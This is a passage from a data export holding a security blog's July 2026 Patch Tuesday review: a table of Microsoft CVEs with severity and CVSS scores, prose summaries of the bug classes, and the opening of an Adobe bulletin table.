Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:26.668580Z"}, {"uuid": "1adfb195-8ef0-4359-8b92-a52ba0d66ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48571", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a 